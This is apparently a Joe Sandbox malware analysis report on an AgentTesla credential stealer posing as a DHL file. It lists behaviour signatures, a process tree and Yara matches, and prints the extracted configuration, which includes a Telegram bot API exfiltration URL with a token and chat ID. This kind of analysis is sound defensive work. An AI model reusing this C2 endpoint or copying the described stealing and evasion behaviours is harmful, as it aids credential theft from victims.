Edit tour

Windows Analysis Report
24sBT3Cffz.exe

Overview

General Information

Sample name:	24sBT3Cffz.exe renamed because original name is a hash value
Original sample name:	a225b14bc9d3330a0ced397bd815633e6918449ac8213c90c00261350925b5cb.exe
Analysis ID:	1639743
MD5:	39fd08610be339ba478d2fa411c8eb74
SHA1:	e4667be1cb9e609e044b7a7325e762f9bcb2ef68
SHA256:	a225b14bc9d3330a0ced397bd815633e6918449ac8213c90c00261350925b5cb
Tags:	exeuser-zhuzhu0009
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected Telegram RAT

Binary is likely a compiled AutoIt script file

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Drops VBS files to the startup folder

Found API chain indicative of sandbox detection

Joe Sandbox ML detected suspicious sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

24sBT3Cffz.exe (PID: 7488 cmdline: "C:\Users\user\Desktop\24sBT3Cffz.exe" MD5: 39FD08610BE339BA478D2FA411C8EB74)

DHL8900067.exe (PID: 7580 cmdline: "C:\Users\user\Desktop\24sBT3Cffz.exe" MD5: 4EE215AEB0752362B68886D57F5809EF)

wscript.exe (PID: 1332 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DHL8900067.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

DHL8900067.exe (PID: 2140 cmdline: "C:\Users\user\AppData\Local\directory\DHL8900067.exe" MD5: 4EE215AEB0752362B68886D57F5809EF)

DHL8900067.exe (PID: 1948 cmdline: "C:\Users\user\AppData\Local\directory\DHL8900067.exe" MD5: 4EE215AEB0752362B68886D57F5809EF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot6900973449:AAF8wx9iUPZvdsBE34vKz_RL7sCyp2owiPA/sendMessage"}

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot6900973449:AAF8wx9iUPZvdsBE34vKz_RL7sCyp2owiPA/sendMessage?chat_id=5061956073"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.3641301317.00000000052D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3641301317.00000000052D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.3641301317.00000000052D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000C.00000002.2833119001.0000000004883000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2833119001.0000000004883000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.3639705406.0000000003A40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3639705406.0000000003A40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.3639705406.0000000003A40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000F.00000002.3639705406.0000000003A40000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x47fc6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x48038:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x480c2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x48154:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x481be:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x48230:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x482c6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x48356:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0000000F.00000002.3640774673.000000000435D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.3640304755.0000000003D10000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3640304755.0000000003D10000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.3640304755.0000000003D10000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000F.00000002.3640304755.0000000003D10000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3496e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x349e0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34a6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34afc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34b66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34bd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34c6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34cfe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0000000E.00000002.2803728167.0000000003900000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.2803728167.0000000003900000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.2803728167.0000000003900000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000E.00000002.2803728167.0000000003900000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x47fc6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x48038:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x480c2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x48154:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x481be:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x48230:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x482c6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x48356:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0000000C.00000002.2833613709.0000000005821000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2833613709.0000000005821000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.2833613709.0000000005821000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000F.00000002.3640774673.0000000004334000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3640774673.0000000004334000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.2832772460.0000000004320000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2832772460.0000000004320000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.2832772460.0000000004320000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000C.00000002.2832772460.0000000004320000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3496e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x349e0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34a6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34afc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34b66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34bd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34c6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34cfe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0000000C.00000002.2833119001.00000000048AD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.3640774673.0000000004369000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.3640335348.0000000003D52000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3640335348.0000000003D52000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.3640335348.0000000003D52000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000C.00000002.2832196987.0000000004030000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2832196987.0000000004030000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.2832196987.0000000004030000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000C.00000002.2832196987.0000000004030000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x47fc6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x48038:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x480c2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x48154:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x481be:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x48230:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x482c6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x48356:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0000000C.00000002.2832801262.0000000004362000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2832801262.0000000004362000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.2832801262.0000000004362000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000C.00000002.2829706410.0000000000400000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2829706410.0000000000400000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.2829706410.0000000000400000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000C.00000002.2829706410.0000000000400000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4b9c6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4ba38:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x4bac2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4bb54:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4bbbe:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4bc30:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4bcc6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4bd56:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0000000C.00000002.2832146638.0000000003EA4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2832146638.0000000003EA4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.2832146638.0000000003EA4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000F.00000002.3639232868.0000000001244000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3639232868.0000000001244000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.3639232868.0000000001244000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000F.00000002.3637238131.0000000000400000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3637238131.0000000000400000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.3637238131.0000000000400000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000F.00000002.3637238131.0000000000400000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4b9c6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4ba38:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x4bac2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4bb54:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4bbbe:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4bc30:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4bcc6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4bd56:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0000000C.00000002.2833119001.00000000048B9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: DHL8900067.exe PID: 7580	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: DHL8900067.exe PID: 7580	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: DHL8900067.exe PID: 7580	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: DHL8900067.exe PID: 2140	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: DHL8900067.exe PID: 2140	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: DHL8900067.exe PID: 2140	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: DHL8900067.exe PID: 1948	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: DHL8900067.exe PID: 1948	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: DHL8900067.exe PID: 1948	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 58 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
15.2.DHL8900067.exe.3a53658.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.DHL8900067.exe.3a53658.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.DHL8900067.exe.3a53658.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.DHL8900067.exe.3a53658.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32b6e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32be0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32c6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32cfc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32d66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32dd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32e6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32efe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.DHL8900067.exe.3a40000.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.DHL8900067.exe.3a40000.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.DHL8900067.exe.3a40000.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.DHL8900067.exe.3a40000.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x445c6:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x44638:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x446c2:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x44754:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x447be:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x44830:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x448c6:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x44956:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.DHL8900067.exe.417058.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.DHL8900067.exe.417058.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.DHL8900067.exe.417058.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.DHL8900067.exe.417058.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32b6e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32be0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32c6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32cfc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32d66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32dd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32e6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32efe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
14.2.DHL8900067.exe.3913658.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.DHL8900067.exe.3913658.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
14.2.DHL8900067.exe.3913658.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
14.2.DHL8900067.exe.3913658.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3496e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x349e0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34a6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34afc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34b66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34bd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34c6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34cfe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.DHL8900067.exe.3d10000.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.DHL8900067.exe.3d10000.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.DHL8900067.exe.3d10000.5.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
15.2.DHL8900067.exe.3d10000.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3496e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x349e0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34a6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34afc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34b66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34bd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34c6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34cfe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
12.2.DHL8900067.exe.417058.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.DHL8900067.exe.417058.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.DHL8900067.exe.417058.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.DHL8900067.exe.417058.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3496e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x349e0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34a6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34afc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34b66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34bd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34c6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34cfe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
12.2.DHL8900067.exe.4320000.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.DHL8900067.exe.4320000.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.DHL8900067.exe.4320000.5.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.DHL8900067.exe.4320000.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3496e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x349e0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x34a6a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34afc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34b66:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34bd8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34c6e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34cfe:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
12.2.DHL8900067.exe.4043658.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.DHL8900067.exe.4043658.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.DHL8900067.exe.4043658.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.DHL8900067.exe.417058.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.DHL8900067.exe.417058.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.DHL8900067.exe.417058.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.DHL8900067.exe.400000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
